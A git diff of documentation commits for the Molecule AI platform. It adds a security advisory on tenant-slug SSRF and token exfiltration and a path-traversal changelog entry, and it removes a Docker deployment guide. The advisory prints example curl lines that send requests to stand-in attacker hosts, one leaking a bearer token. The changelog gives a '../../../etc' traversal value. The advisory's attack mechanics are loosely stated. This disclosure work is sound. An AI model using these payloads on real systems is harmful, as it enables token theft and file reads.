Compare commits

..

3 Commits

Author SHA1 Message Date
app-lead 8c49c7ce2d fix: update content/docs/security/offsec-006-slug-ssrf-advisory.mdx
Secret scan / secret-scan (pull_request) Successful in 1m30s
CI / build (pull_request) Successful in 3m58s
2026-05-15 11:53:37 +00:00
app-lead d7a9ee3504 fix: update content/docs/security/changelog.md 2026-05-15 11:53:18 +00:00
technical-writer 6971ef23aa docs(security): add OFFSEC-006 advisory doc + link from Security Changelog
Secret scan / secret-scan (pull_request) Successful in 7s
CI / build (pull_request) Successful in 50s
New advisory: content/docs/security/offsec-006-slug-ssrf-advisory.mdx
Covers CWE-918 SSRF + CWE-20 token exfiltration in promote-tenant-image.sh
(molecule-core#933), with vulnerability details, mitigations, and upgrade
instructions for self-hosted operators.

Also updates security/index.mdx with OFFSEC-006 entry and adds "Full
advisory" link in the 2026-05-14 changelog entry.

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-05-14 06:43:52 +00:00
4 changed files with 101 additions and 201 deletions
+20
View File
@@ -9,6 +9,26 @@ This page documents security fixes shipped in the Molecule AI platform. Each ent
---
## 2026-05-13 — CWE-22: Path Traversal Regression in `org_import.go`
**Severity:** High (CWE-22)
**PR:** [#810](https://git.moleculesai.app/molecule-ai/molecule-core/pull/810)
**Affected:** `org_import.go``createWorkspaceTree`
### Vulnerability
A regression removed the `resolveInsideRoot` path-traversal guard from `createWorkspaceTree`. A malicious org YAML with `filesDir: "../../../etc"` could read arbitrary server files through the org template import path.
### Fix
Replaced unprotected `parseEnvFile` calls with `loadWorkspaceEnv` which applies `resolveInsideRoot` validation before accessing any path.
### User-facing summary
Org template imports now correctly validate all file paths before accessing them. Attempts to traverse outside the workspace root are rejected.
---
## 2026-04-20 — CWE-22: Path Traversal in `copyFilesToContainer`
**Severity:** High (CWE-22)
+2
View File
@@ -5,5 +5,7 @@ description: Security guides, advisories, and coverage reports for the Molecule
## In this section
- [OFFSEC-006: Tenant Slug SSRF + Token Exfiltration (2026-05-14)](/docs/security/offsec-006-slug-ssrf-advisory) —
HIGH severity — SSRF and bearer-token exfiltration via unsanitised tenant slug in self-hosted deployment scripts
- [SAFE-MCP Security Advisory (2026-04-17)](/docs/security/safe-mcp-advisory) —
Three HIGH-severity findings for self-hosted operators
@@ -0,0 +1,79 @@
---
title: "OFFSEC-006: Tenant Slug SSRF + Token Exfiltration (2026-05-14)"
description: High-severity SSRF and bearer-token exfiltration via unsanitised tenant slug interpolation in self-hosted deployment scripts.
---
## Advisory overview
**Severity:** HIGH
**CWE:** [CWE-918](https://cwe.mitre.org/data/definitions/918.html) (SSRF) + [CWE-20](https://cwe.mitre.edu/data/definitions/20.html) (Improper Input Validation)
**Affected file:** `scripts/promote-tenant-image.sh`
**Affected versions:** All self-hosted deployments prior to the fix in `molecule-core` PR [#933](https://git.moleculesai.app/molecule-ai/molecule-core/pull/933)
**Fixed in:** `molecule-core` #933 (2026-05-14)
**SaaS impact:** None — the platform applies the fix server-side
This advisory documents a high-severity Server-Side Request Forgery (SSRF) and bearer-token exfiltration vulnerability in the tenant promotion script used by self-hosted operators.
---
## Vulnerability details
Tenant slugs were interpolated directly into URL paths and ECR repository identifiers without any sanitisation.
### Affected code pattern
```bash
# Vulnerable — slug inserted into URL path unchecked
SLUG="?url=https://attacker.com"
curl "${PLATFORM_URL}/cp_redeploy_tenant/${SLUG}" # SSRF
curl "?url=https://evil.com&token=${CP_TOKEN}" # Token exfiltration
```
A malicious tenant slug such as `?url=https://attacker.com&token=$CP_TOKEN` passed to `promote-tenant-image.sh` could cause the platform to:
1. **SSRF** — redirect HTTP calls to an attacker-controlled host by injecting a URL parameter
2. **Bearer-token exfiltration** — the platform's `CP_TOKEN` appears in the attacker's server access logs via the same URL parameter injection
### Secondary attack: glob expansion
Bash glob metacharacters (`*`, `?`, `[`) in slug values were subject to pathname expansion, allowing a slug like `evil?url=https://attacker.com` to expand to a list of filenames before being passed to curl.
---
## Recommended mitigations
### Upgrade (self-hosted operators)
If you are running a self-hosted control plane, upgrade to the latest `molecule-core` build that includes `molecule-core` PR [#933](https://git.moleculesai.app/molecule-ai/molecule-core/pull/933).
After upgrading, tenant slugs are validated against RFC-1123 before any network call:
```bash
# Invalid slugs are rejected with exit code 64
$ ./promote-tenant-image.sh "?url=https://evil.com"
Error: invalid tenant slug "?url=https://evil.com" — must match ^[a-z0-9]([a-z0-9-]{0,61}[a-z0-9])?$
```
### If you cannot upgrade immediately
Audit your tenant slugs manually. Any slug containing the characters `?`, `#`, `&`, `$`, `/`, `\`, or spaces is a potential exploit vector. Rename affected tenants with clean slugs matching `^[a-z0-9]([a-z0-9-]{0,61}[a-z0-9])?$`.
---
## Fix summary
Fix adds `validate_slug()` (new function) — RFC-1123 regex validation (`^[a-z0-9]([a-z0-9-]{0,61}[a-z0-9])?$`), exits with code 64 on invalid slugs before any network call.
---
## Credit
Found and fixed by the Molecule AI security team during internal code review.
---
## Related advisories
- [SAFE-MCP Security Advisory](./safe-mcp-advisory.mdx) — April 2026 audit findings (G-01 through G-03)
- [Security Changelog](./changelog.md) — full history of security fixes
- [OWASP Agentic Top 10](./owasp-agentic-top-10.mdx) — risk framework reference
@@ -1,201 +0,0 @@
---
title: Self-Hosted Workspace Deployment with Docker
---
# Self-Hosted Workspace Deployment with Docker
This guide covers running a Molecule AI workspace agent as a Docker container on a self-hosted server or VM. It covers the Docker image, required environment variables, the built-in healthcheck, graceful shutdown, and Kubernetes deployment considerations.
> **Prerequisites:** A running Molecule AI control plane (self-hosted or SaaS), an `ADMIN_TOKEN` or org-scoped API key with admin scope, and Docker 20.10+ on the host.
## How the workspace container works
The Molecule AI workspace Dockerfile includes:
- A `HEALTHCHECK` directive that probes the agent card endpoint every 30 seconds
- A uvicorn server on port 8000 (configurable via `PORT`)
- Support for `stop_event` graceful shutdown via SIGTERM
```
┌─────────────────────────────────────────────┐
│ Docker host (your VM / bare metal) │
│ │
│ ┌─────────────────────────────────────┐ │
│ │ workspace container │ │
│ │ │ │
│ │ uvicorn (port 8000) │ │
│ │ └─ /agent/card ← HEALTHCHECK │ │
│ │ │ │
│ │ run_heartbeat_loop(stop_event) │ │
│ └──────────────┬──────────────────────┘ │
│ │ │
│ host.docker.internal:8080 │
│ │ │
│ ▼ │
│ ┌─────────────────────────────────────┐ │
│ │ Molecule AI control plane │ │
│ │ (platform on port 8080) │ │
│ └─────────────────────────────────────┘ │
└─────────────────────────────────────────────┘
```
## Step 1: Create an external workspace
First register the workspace as an external (self-managed) agent on the platform.
```bash
ADMIN_TOKEN="your-admin-token"
PLATFORM_URL="https://platform.moleculesai.app" # or http://localhost:8080 for local dev
WORKSPACE=$(curl -s -X POST "${PLATFORM_URL}/workspaces" \
-H "Authorization: Bearer ${ADMIN_TOKEN}" \
-H "Content-Type: application/json" \
-d '{"name": "self-hosted-agent", "runtime": "external"}')
WORKSPACE_ID=$(echo "$WORKSPACE" | python3 -c "import json,sys; print(json.load(sys.stdin)['id'])")
echo "Workspace ID: $WORKSPACE_ID"
```
Save the returned `WORKSPACE_ID` and bearer token from the next step.
## Step 2: Pull the workspace image
The workspace image is published to the Molecule AI ECR registry. Contact your platform administrator for the registry prefix and credentials, then log in:
```bash
aws ecr get-login-password --region us-east-1 | \
docker login --username AWS --password-stdin "${REGISTRY_PREFIX}.dkr.ecr.us-east-1.amazonaws.com"
docker pull "${REGISTRY_PREFIX}.dkr.ecr.us-east-1.amazonaws.com/molecule-workspace:latest"
```
## Step 3: Configure environment variables
| Variable | Default | Description |
|---|---|---|
| `MOLECULE_API_URL` | `http://localhost:8080` | Platform API URL. From Docker on Linux/macOS, use `http://host.docker.internal:8080` to reach the host machine. |
| `MOLECULE_API_KEY` | — | Bearer token obtained during agent registration |
| `WORKSPACE_ID` | — | Workspace ID from Step 1 |
| `PORT` | `8000` | Agent server port (matches HEALTHCHECK) |
| `AGENT_CARD_URL` | `http://localhost:${PORT}/agent/card` | Advertised agent card URL (must be reachable from the platform) |
## Step 4: Run the container
### Docker (standalone)
```bash
docker run -d \
--name molecule-workspace \
-p 8000:8000 \
-e MOLECULE_API_URL="http://host.docker.internal:8080" \
-e MOLECULE_API_KEY="your-agent-bearer-token" \
-e WORKSPACE_ID="your-workspace-id" \
-e PORT=8000 \
"${REGISTRY_PREFIX}.dkr.ecr.us-east-1.amazonaws.com/molecule-workspace:latest"
```
> **Note for Linux hosts:** Docker does not include `host.docker.internal` by default. On Linux, either add `--add-host=host.docker.internal:host-gateway` to the `docker run` command, or use the host machine's IP address directly (e.g. `http://192.168.1.100:8080`).
### Verify the healthcheck
```bash
# Wait for the container to become healthy (up to ~2 minutes)
docker inspect --format='{{.State.Health.Status}}' molecule-workspace
# Expected output: healthy
# Once healthy, the agent card is reachable:
curl -s http://localhost:8000/agent/card | python3 -m json.tool
```
### Docker Compose
```yaml
services:
molecule-workspace:
image: "${REGISTRY_PREFIX}.dkr.ecr.us-east-1.amazonaws.com/molecule-workspace:latest"
ports:
- "8000:8000"
environment:
MOLECULE_API_URL: "http://host.docker.internal:8080"
MOLECULE_API_KEY: "your-agent-bearer-token"
WORKSPACE_ID: "your-workspace-id"
PORT: "8000"
# Linux hosts: add host.docker.internal resolution
# extra_hosts:
# - "host.docker.internal:host-gateway"
restart: unless-stopped
healthcheck:
test: ["CMD", "curl", "-f", "http://localhost:8000/agent/card"]
interval: 30s
timeout: 5s
retries: 3
start_period: 30s
```
## Step 5: Graceful shutdown
The workspace agent supports graceful shutdown via a `stop_event: threading.Event`. When the container receives SIGTERM (e.g. from `docker stop`), the heartbeat loop exits cleanly with return value `"stopped"` instead of hanging.
To enable SIGTERM handling in your agent code:
```python
import signal, threading
from molecule_agent import RemoteAgentClient
client = RemoteAgentClient(
molecule_api_url=os.environ["MOLECULE_API_URL"],
api_key=os.environ["MOLECULE_API_KEY"],
workspace_id=os.environ["WORKSPACE_ID"],
)
stop_event = threading.Event()
def sigterm_handler(signum, frame):
print("Received SIGTERM, initiating graceful shutdown...")
stop_event.set()
signal.signal(signal.SIGTERM, sigterm_handler)
# run_heartbeat_loop exits with return value "stopped" when stop_event is set
result = client.run_heartbeat_loop(stop_event=stop_event)
print(f"Heartbeat loop stopped: {result}")
```
Without explicit SIGTERM handling, the container will be killed after the Docker default 10-second timeout. The healthcheck ensures orchestrators can detect an unhealthy container before the SIGTERM timeout.
## Kubernetes deployment
For Kubernetes deployments, use the native liveness/readiness probe configuration instead of the Docker HEALTHCHECK:
```yaml
ports:
- name: http
containerPort: 8000
livenessProbe:
httpGet:
path: /agent/card
port: http
initialDelaySeconds: 30
periodSeconds: 30
timeoutSeconds: 5
failureThreshold: 3
readinessProbe:
httpGet:
path: /agent/card
port: http
initialDelaySeconds: 10
periodSeconds: 10
timeoutSeconds: 5
failureThreshold: 3
terminationGracePeriodSeconds: 120
```
> **Note:** `terminationGracePeriodSeconds` must exceed the liveness probe failure window (3 × 30s = 90s) so that Kubernetes sends SIGTERM and allows graceful shutdown before the pod is killed. The 120s value here gives a 30s buffer beyond the 90s threshold.
## Troubleshooting
| Symptom | Cause | Fix |
|---|---|---|
| Container shows `unhealthy` after startup | Platform unreachable from container | Verify `MOLECULE_API_URL` uses `host.docker.internal` (Docker) or the correct host IP |
| `curl: (7) Failed to connect` on healthcheck | Container not fully started | Wait up to 30s; increase `start_period` |
| Agent not appearing on canvas | Wrong `WORKSPACE_ID` or expired token | Re-run registration; check platform logs |
| `host.docker.internal` not resolved | Linux host without the Docker flag | Use `--add-host=host.docker.internal:host-gateway` or the host's LAN IP |